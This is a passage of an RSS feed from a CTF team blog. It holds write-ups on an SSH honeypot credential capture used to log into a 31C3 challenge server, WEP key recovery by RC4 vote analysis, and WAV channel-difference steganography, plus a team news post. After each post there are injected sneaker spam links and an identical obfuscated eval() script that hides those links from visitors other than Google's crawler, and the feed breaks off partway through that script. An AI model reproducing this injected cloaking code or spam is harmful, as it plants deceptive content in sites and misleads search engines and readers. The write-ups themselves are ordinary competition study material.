we can see html comment:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&amp;lt;!-- ERROR: Could not write logfile - attacking IP_ADDRESS:22 --&amp;gt;&lt;/pre&gt;&lt;p&gt;where IP_ADDRESS was my external IP address. It&#039;s looks like page trying connect to me via SSH.&lt;/p&gt;&lt;p&gt;Lets look for login attempts:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ tail -f /var/log/auth.log | grep 188.40.18.67&lt;/pre&gt;&lt;p&gt;And after requesting this page via curl&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ curl -i http://188.40.18.67/&lt;/pre&gt;&lt;p&gt;we can see log:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Dec 28 14:30:39 azrael sshd[30330]: Invalid user admin from 188.40.18.67
Dec 28 14:30:41 azrael sshd[30330]: Failed password for invalid user admin from 188.40.18.67 port 32964 ssh2
Dec 28 14:30:42 azrael sshd[30332]: Invalid user oracle from 188.40.18.67
Dec 28 14:30:44 azrael sshd[30332]: Failed password for invalid user oracle from 188.40.18.67 port 32965 ssh2
Dec 28 14:30:44 azrael sshd[30330]: Connection closed by 188.40.18.67 [preauth]
Dec 28 14:30:45 azrael sshd[30334]: Invalid user hans from 188.40.18.67
Dec 28 14:30:47 azrael sshd[30334]: Failed password for invalid user hans from 188.40.18.67 port 32966 ssh2
Dec 28 14:30:47 azrael sshd[30332]: Connection closed by 188.40.18.67 [preauth]
Dec 28 14:30:47 azrael sshd[30334]: Connection closed by 188.40.18.67 [preauth]&lt;/pre&gt;&lt;p&gt;We can see that some host trying to login via SSH by three different credentials (admin, oracle and hans). This behavior very close to botnet where one infected machine trying to login on another by SSH bruteforce. Maybe some of this credentials&amp;nbsp;are suitable for the game (infected) server.&lt;/p&gt;&lt;p&gt;We need catch passwords of this acconts. For this purpose I ran awesome SSH honeypot &lt;a href=&quot;https://github.com/desaster/kippo&quot;&gt;kippo&lt;/a&gt; on port 22. How to install and setup kippo you can read &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-install-kippo-an-ssh-honeypot-on-an-ubuntu-cloud-server&quot;&gt;here&lt;/a&gt; and how to setup kippo events logging read &lt;a href=&quot;http://bruteforce.gr/logging-kippo-events-using-mysql-db.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Now let&#039;s repeat curl request and look into MySQL login attempts table:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ mysql -u kippo -p&lt;/pre&gt;&lt;pre class=&quot;brush: sql; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&amp;gt; USE kippo;
&amp;gt; SELECT * from auth; &lt;/pre&gt;&lt;p&gt;&amp;nbsp;And this is result:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt; +----+----------------------------------+---------+----------+----------------------+---------------------+
| id | session                          | success | username | password             | timestamp           |
+----+----------------------------------+---------+----------+----------------------+---------------------+
|  1 | 686aaff48edc11e4901c04012f2f8f01 |       0 | admin    | admin                | 2014-12-28 21:56:42 |
|  2 | 696d26708edc11e4901c04012f2f8f01 |       0 | oracle   | oracle123            | 2014-12-28 21:56:44 |
|  3 | 6a7f8cc48edc11e4901c04012f2f8f01 |       0 | hans     | =l@Zy+&amp;amp;&#039;}M_.]&amp;lt;zEcDN9 | 2014-12-28 21:56:46 |
+----+----------------------------------+---------+----------+----------------------+---------------------+ &lt;/pre&gt;&lt;p&gt;So we got three pairs (login, password). &quot;admin&quot; and &quot;oracle&quot; passwords quite typical but &quot;hans&quot; password looks very interesting. Let&#039;s try it:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ ssh hans@188.40.18.67
hans@188.40.18.67&#039;s password:
Last login: Tue Dec 28 13:55:47 2014 from &amp;lt;some_ip_here&amp;gt;&lt;/pre&gt;&lt;p&gt;Ok, we on server and now we can get flag:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;hans@31c3ctf-rick:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Dec 28 00:09 .
drwxr-xr-x 4 root root 4096 Dec 27 20:48 ..
-rw-r--r-- 1 root root   38 Dec 28 00:09 flag.txt
hans@31c3ctf-rick:~$ cat flag.txt
31c3_a5bb3ead8fbc6617374ea3f57f0563d2&lt;/pre&gt;&lt;p&gt;Flag is&amp;nbsp;&lt;strong&gt;31c3_a5bb3ead8fbc6617374ea3f57f0563d2&lt;/strong&gt;.&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.mysneakers.org/&quot;&gt;Nike air jordan Sneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.fitforhealth.eu/cdafshop/online/air-jordan-1-low-white-black-midnight-navy-for-sale/&quot;&gt;Air Jordan 1 Low White/Black-Midnight Navy For Sale – Fitforhealth&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 29 Dec 2014 21:16:53 +0000</pubDate>
 <dc:creator>azrael</dc:creator>
 <guid isPermaLink="false">95 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/95#comments</comments>
</item>
<item>
 <title>This week for our team</title>
 <link>https://ctfcrew.org/blog/94</link>
 <description>&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;This weekend we are going to take part in three on-site final challenges.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p2&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;First one is &lt;strong&gt;D-CTF 2014 Final&lt;/strong&gt; at DefCamp Conference (http://defcamp.ro/) on information security, Bucharest, Romania.&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;The second is &lt;strong&gt;CSCAMP CTF 2014 Final&lt;/strong&gt; held at Cairo, Egypt (http://www.cairosecuritycamp.com/).&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;And third one is &lt;strong&gt;PRO-IB&lt;/strong&gt; competition - it is Russian national contest on information security business-cases for students (http://www.pro-ib.org/). So our youngest members will be there. They qualified for final with first place in preliminary rating.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p2&quot;&gt;&lt;span class=&quot;s1&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/bc_selfie_bucharest_2014.jpg&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;900&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;Hope it is not bad idea to deal so widely - three finals at one time. It will be hard. But anyway we got qualified for all three events not for missing such possibilities.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p2&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;Big thanks to our sponsor &lt;a href=&quot;http://university.innopolis.ru/&quot;&gt;Innopolis University&lt;/a&gt; for supporting our trip to CSCAMP CTF 2014 Final.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p2&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;Hope we will win some money and cover expenses for other trips :)&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;One more thing... This week our team celebrates 2-years birthday. Sure that&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;&lt;img src=&quot;/sites/default/files/writeups/images/this_journey_is_1%25_finished.jpg&quot; alt=&quot;&quot; width=&quot;1024&quot; height=&quot;768&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p class=&quot;p1&quot;&gt;&lt;span class=&quot;s1&quot;&gt;Happy hacking!&lt;/span&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.copperbridgemedia.com/&quot;&gt;Running sports&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;http://www.adefra.com/index.php/acfbajgshop/nike/?showAllProducts=true&quot;&gt;Nike Shoes, Sneakers &amp; Accessories&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Thu, 27 Nov 2014 21:57:48 +0000</pubDate>
 <dc:creator>Dor1s</dc:creator>
 <guid isPermaLink="false">94 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/blog/94#comments</comments>
</item>
<item>
 <title>Collect as much as you can (Crypto 300)</title>
 <link>https://ctfcrew.org/writeup/93</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/crypto&quot;&gt;crypto&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/29&quot;&gt;CSCAMP CTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;The description contains ip address and port to connect to and hint: IVs.&lt;/p&gt;&lt;p&gt;When we connect to given ip and port we can find that the server gives us result of encryption and 3 numbers that incrementing sequentially:&lt;/p&gt;&lt;pre class=&quot;brush: plain; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;123
Server response: 5a6bea4f:18:31:33
1234
Server response: 1a6fda664e:18:33:115
12345
Server response: ca236e16faad:18:35:215&lt;/pre&gt;&lt;p&gt;It&#039;s obvious that some stream cipher was used for encryption. The last 3 numbers seems to be 3 bytes, which are parts of IV. So IV is of size 24 bit.&lt;/p&gt;&lt;p&gt;Googling of &quot;24 bit IV&quot; give us a reference to wiki page: &lt;a href=&quot;http://en.wikipedia.org/wiki/Initialization_vector#WEP_IV&quot;&gt;http://en.wikipedia.org/wiki/Initialization_vector#WEP_IV&lt;/a&gt;. Because there in WEP widely known stream cipher RC4 is used, it seems to be a right way.&lt;/p&gt;&lt;p&gt;So we have to crack WEP. Suppose that encryption key is the flag.&lt;/p&gt;&lt;p&gt;After little more googling&amp;nbsp; we&#039;ve found a scientific research: &lt;a href=&quot;http://eprint.iacr.org/2007/120.pdf&quot;&gt;http://eprint.iacr.org/2007/120.pdf&lt;/a&gt;. For this attack we should have a lot of pairs (IV, streamGamma). Fortunately it can be easily automated via python and data of size ~58 Mb with ~290000 pairs has been collected.&lt;/p&gt;&lt;p&gt;Because we did not find implementation of this attack (even something like PoC) which takes data in an obvious format, we&#039;ve decided to implement this attack by ourselves. The title of article is &quot;Breaking 104 bit WEP in less than 60 seconds&quot; that means, that attack is farst enought and can be coded using `not fast language` like python. That was the way we go.&lt;/p&gt;&lt;p&gt;During attack realization only formula (5) from article and first 2 paragraphs of the section 6 needed.&lt;/p&gt;&lt;p&gt;After coding, when we run our realization on collected data first time we&#039;ve found that computed votes have distribution, closed to normal one with the center, close to 0... but we&#039;ve noticed that there are local spikes, which get us close to ASCII string key.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;ROUND 1&lt;/span&gt;&lt;/p&gt;&lt;p&gt;In such way by manual search of such spikes we&#039;ve found a key &quot;&lt;strong&gt;RC4isNOTbadWEP&lt;/strong&gt;&quot;, but we can&#039;t pass this result as flag...&amp;nbsp;The reason was simplification of the task from orgs: they fixed 8 bits in 24 bit IV (it have no influence for selected attack) and changed key length to smaller one:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;01:07 (Dor1s) hi&lt;/p&gt;&lt;p&gt;01:07 (Dor1s) we solved crypto300&lt;/p&gt;&lt;p&gt;01:07 (Dor1s) but site is not loading&lt;/p&gt;&lt;p&gt;01:07 (Dor1s) how we can submit it?&lt;/p&gt;&lt;p&gt;01:10 __nu11___: what is your key?&lt;/p&gt;&lt;p&gt;01:10 (Dor1s) RC4isNOTbadWEP&lt;/p&gt;&lt;p&gt;01:11 __nu11___: well you have IVs from yesterday aren&#039;t you?&lt;/p&gt;&lt;p&gt;01:11 (Dor1s) yeah, from yesterday too&lt;/p&gt;&lt;p&gt;01:11 __nu11___: haven&#039;t you*&lt;/p&gt;&lt;p&gt;01:12 __nu11___: I am afraid that we have changed it to make it easier&lt;/p&gt;&lt;p&gt;01:12 (Dor1s) omg :D&lt;/p&gt;&lt;p&gt;01:12 __nu11___: but no worries&lt;/p&gt;&lt;p&gt;01:12 __nu11___: the key now is only 5 bytes&lt;/p&gt;&lt;p&gt;01:12 __nu11___: you only collect 255 IVs&lt;/p&gt;&lt;p&gt;01:12 __nu11___: so you should solve it in minutes&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;ROUND 2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Because data selection has been already automated via python script. We&#039;ve spend the time it collects needed data to upgrating attack script. First upgrate was connected with work speed: now attack&#039;s script compute all votes for 290000 pair only in 10 seconds instead of 30.&lt;/p&gt;&lt;p&gt;Second upgrate was the most famous one. It was connected with work logic. Formula (5) returns votes that were either positive or negative numbers. But as we know, key element is byte, so all votes for it should be in range [0,255]. So when we collect every possible key value frequency we should sum votes, whose value is the same after mod 256 operation. With enought amount of data it&#039;s give us automated key value extraction (we select that one, which has the highest frequency).&lt;/p&gt;&lt;p&gt;Now, when ~9Mb of data (~67000 pairs) were collected, we can run our attack script on it...&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&amp;gt;extractWepkey.py
67470 pairs have been read in 0.72591048583 seconds!
make votes...
votes ready in 2.18306579468 seconds!
(0, -258, 251)
(1, -262, 248)
(2, -266, 243)
(3, -272, 237)
(4, -280, 228)

sigma_0 max = 119 : 357
sigma_1 max = 220 : 375
sigma_2 max = 76 : 363
sigma_3 max = 190 : 330
sigma_4 max = 33 : 367
auto guess key = weprc&lt;/pre&gt;&lt;p&gt;So the flag is &lt;strong&gt;weprc&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;All scripts and collected data can be found there: &lt;a href=&quot;https://github.com/BalalaikaCr3w/CTF/tree/master/CSCAMPCTFQuals2014/crypto300&quot;&gt;https://github.com/BalalaikaCr3w/CTF/tree/master/CSCAMPCTFQuals2014/crypto300&lt;/a&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;Sportswear Design&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfedavshop/nike-air-more-uptempo-maximum-volume-dj4633-010-release-date/&quot;&gt;nike air barkley posite 76ers shoes for women Maximum Volume DJ4633-010 Release Date - SBD&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Sun, 23 Nov 2014 01:06:30 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">93 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/93#comments</comments>
</item>
<item>
 <title>WireTap (Stegano 200)</title>
 <link>https://ctfcrew.org/writeup/91</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/stego&quot;&gt;stego&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/28&quot;&gt;No cON Name CTF Finals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;&lt;strong&gt;Description:&lt;/strong&gt; Does it sound like a flag? Maybe... I don&#039;t know...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span data-rz-clipboard=&quot;true&quot;&gt;File: &lt;a href=&quot;https://cloud.mail.ru/public/fd1b20161fe5/wiretap.wav.tar.xz&quot;&gt;wiretap.wav&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Let&#039;s quickly analyze the file:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt; $ file wiretap.wav
wiretap.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 32 bit, stereo 44100 Hz
$ strings wiretap.wav
RIFFD
WAVEfmt 
data &lt;/pre&gt;&lt;p&gt;Nothing interesting. Now look at data of .wav file:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ ./diff.py 
n of channels:
2
n of frames:
1186020
len(frames):
9488160
44100
2
[5373952 7143424 8388608 ..., 5111808 4980736 4915200]
[5374089 7143504 8388686 ..., 5111991 4980814 4915379]&lt;/pre&gt;&lt;p&gt;Values of frames from two different channels are close enough but not the same. Let&#039;s look at their difference (first 100 printed):&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 2, 22, 0, 0, 0, 48, 8, 4, 0, 0, 0, 231, 36, 251, 90, 0, 0, 0, 2, 98, 75, 71, 68, 0, 0, 170, 141, 35, 50, 0, 0, 0, 9, 112, 72, 89, 115, 0, 0, 11, 19, 0, 0, 11, 19, 1, 0, 154, 156, 24, 0, 0, 0, 7, 116, 73, 77, 69, 7, 222, 10, 26, 15, 41, 21, 179, 51, 68, 152, 0, 0, 0, 29, 105, 84, 88, 116, 67, 111, 109, 109, 101]&lt;/pre&gt;&lt;p&gt;Seems that all of them are in range of byte values [0..255]. Some of you may be have already noticed that bytes from 2 to 4 are printable characters (&#039;PNG&#039;). Let&#039;s write difference of channels into file and look at it:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;$ file result 
result: PNG image data, 534 x 48, 8-bit gray+alpha, non-interlaced&lt;/pre&gt;&lt;p&gt;Wow! Look there:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/result_ncn2014final_wav.png&quot; alt=&quot;&quot; width=&quot;534&quot; height=&quot;48&quot;&gt;&lt;/p&gt;&lt;p&gt;My script for solving this task:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#!/usr/bin/python
import wave
from scipy.io.wavfile import read

w = wave.open(&#039;wiretap.wav&#039;, &#039;r&#039;)
print &#039;n of channels:&#039;
print w.getnchannels()

n = w.getnframes()
print &#039;n of frames:&#039;
print n
frames = w.readframes(n)
print &#039;len(frames):&#039;
print len(frames)

(fs, x) = read(&#039;wiretap.wav&#039;)
print fs
print len(x.shape) 
print x[:,0]
print x[:,1]

c1 = x[:,0]
c2 = x[:,1]
d = []
for a, b in zip(c1, c2):
	d.append(b - a)
print d[0:100]

out = open(&#039;result&#039;, &#039;wb&#039;)
for t in d: out.write(chr(t))
out.close()&lt;/pre&gt;&lt;p&gt;Flag is: &lt;strong&gt;NcN_132238aba8928f9655eeb09939eba1f963c18183&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;buy footwear&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.iicf.org/bdfnshop/2021/03/nike-air-max-excee-cork-white-dj1975-100/&quot;&gt;ナイキ エア マックス エクシー &quot;コルク/ホワイト&quot; (NIKE AIR MAX EXCEE &quot;Cork/White&quot;) [DJ1975-100] , Fullress , スニーカー発売日 抽選情報 ニュースを掲載！ナイキ ジョーダン ダンク シュプリーム SUPREME 等のファッション情報を配信！&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 